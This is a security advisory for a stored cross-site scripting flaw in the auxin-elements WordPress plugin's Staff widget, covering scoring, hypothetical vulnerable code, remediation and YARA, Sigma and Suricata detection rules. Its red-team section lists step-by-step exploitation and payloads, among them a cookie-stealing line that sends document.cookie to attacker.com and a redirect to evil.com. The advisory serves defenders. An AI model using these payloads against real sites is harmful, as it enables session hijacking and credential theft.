CVE-2024-12588

Executive Summary

CVE-2024-12588 is a Stored Cross-Site Scripting (XSS) vulnerability found in the Shortcodes and extra features for Phlox theme WordPress plugin (auxin-elements). The flaw resides in the plugin's Staff widget, where user-supplied attributes are not properly sanitized or escaped. This allows authenticated attackers with at least Contributor-level access to inject arbitrary web scripts. When a victim (including administrators or site visitors) accesses a page containing the malicious payload, the script executes in their browser, potentially leading to session hijacking, credential theft, or defacement.

The vulnerability affects all versions up to and including 2.17.2. As of this report, no official patch has been released, and no public exploit code or proof-of-concept is available. The EPSS score is 0.0%, indicating low exploitation likelihood at this time, but the risk remains significant for WordPress sites using the plugin.

CVSS Breakdown & Threat Level

• CVSS Score: 6.4 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (Contributor-level)
• User Interaction: Required (victim must visit the page)
• Scope: Changed (impact may extend beyond the vulnerable component)
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: Low

Threat Level: Medium. The vulnerability requires authentication and user interaction, but the potential for stored XSS in a widely-used WordPress plugin makes it a credible threat for targeted attacks.

Deep Dive & Mechanics

The vulnerability is located in the auxin-elements plugin's Staff widget. This widget allows site editors to display staff members with custom attributes (e.g., name, title, bio). The plugin fails to properly sanitize user-supplied attributes before rendering them in the HTML output. Specifically, the name or bio attribute can contain malicious JavaScript.

Attack Flow:

1. An attacker with Contributor-level access (or higher) creates or edits a page/post containing the Staff widget.
2. The attacker injects a payload like <img src=x onerror=alert('XSS')> into an attribute (e.g., the staff member's name).
3. The plugin stores this payload in the WordPress database without proper sanitization.
4. When any user (including admins) visits the page, the payload executes in their browser.

Why it works: The plugin uses esc_attr() or similar functions inconsistently, or fails to escape output in the context of HTML attributes. The Staff widget likely outputs user data directly into HTML attributes without proper encoding, allowing attribute-based XSS.

Vulnerable vs. Patched Code

Since no official patch is available, the following is a hypothetical comparison based on common XSS fixes.

Vulnerable Code (hypothetical):

// In auxin-elements/includes/elements/staff.php
function render_staff_widget($atts) {
    $name = $atts['name'];
    echo '<div class="staff-name">' . $name . '</div>';
}

Patched Code (hypothetical):

function render_staff_widget($atts) {
    $name = esc_html($atts['name']); // Escape for HTML context
    echo '<div class="staff-name">' . $name . '</div>';
}

The fix would involve using esc_html() or wp_kses_post() for output, and sanitize_text_field() for input.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• WordPress instance with auxin-elements <= 2.17.2
• Contributor-level account

Steps:

1. Log in as a Contributor.
2. Create a new page or edit an existing one.
3. Add the Staff widget via the block editor.
4. In the staff member's name field, inject:

   <img src=x onerror=alert(document.cookie)>
   

5. Publish the page.
6. Send the link to a victim (e.g., admin). When they visit, the XSS triggers.

Payload Variations:

// Steal cookies
<img src=x onerror=fetch('https://attacker.com/steal?c='+document.cookie)>
// Redirect to phishing page
<script>window.location='https://evil.com'</script>

Blue Team (Detection & Hardening)

Detection:

• Monitor for unusual page/post edits by Contributor-level users.
• Look for suspicious HTML attributes in page content (e.g., onerror, onload, <script>).
• Use WAF rules to block common XSS patterns.

Hardening:

• Disable the Staff widget if not needed.
• Restrict Contributor-level access to trusted users only.
• Apply a virtual patch via WAF (e.g., block onerror in widget attributes).

Indicators of Compromise (IOCs)

• File: wp-content/plugins/auxin-elements/includes/elements/staff.php (version <= 2.17.2)
• Database: Posts/pages containing <script> or event handlers in post_content
• Network: Outbound requests to attacker-controlled domains from WordPress admin pages
• Logs: Unusual page edits by Contributor users, especially with HTML in staff attributes

Detection Engineering

YARA Rule

rule CVE_2024_12588_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads in auxin-elements Staff widget"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-12588"
    strings:
        $payload1 = /<[^>]+onerror\s*=[^>]*>/i
        $payload2 = /<[^>]+onload\s*=[^>]*>/i
        $payload3 = /<script\b[^>]*>/i
        $widget = /auxin-elements.*staff/i
    condition:
        any of ($payload*) and $widget
}

Sigma Rule

title: CVE-2024-12588 Stored XSS in auxin-elements Staff Widget
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects stored XSS attempts via the Staff widget in auxin-elements plugin
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: wordpress
detection:
    selection:
        http.url|contains: '/wp-admin/post.php'
        http.body|contains:
            - 'onerror='
            - 'onload='
            - '<script'
            - 'auxin-elements'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in posts (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-12588 Stored XSS in auxin-elements Staff Widget"; flow:to_server,established; content:"/wp-admin/post.php"; http_uri; content:"auxin-elements"; http_client_body; pcre:"/(<[^>]+onerror\s*=|onload\s*=|script)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin if the Staff widget is not essential.
2. Restrict Contributor roles to only trusted users.
3. Apply a WAF rule to block common XSS patterns in widget attributes.

Long-term Fix:

• Monitor the plugin vendor for an official patch.
• Consider replacing the plugin with an alternative that is actively maintained.
• Implement Content Security Policy (CSP) headers to mitigate XSS impact.

Workaround:

• Use a WordPress security plugin (e.g., Wordfence) to add virtual patching.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Analyst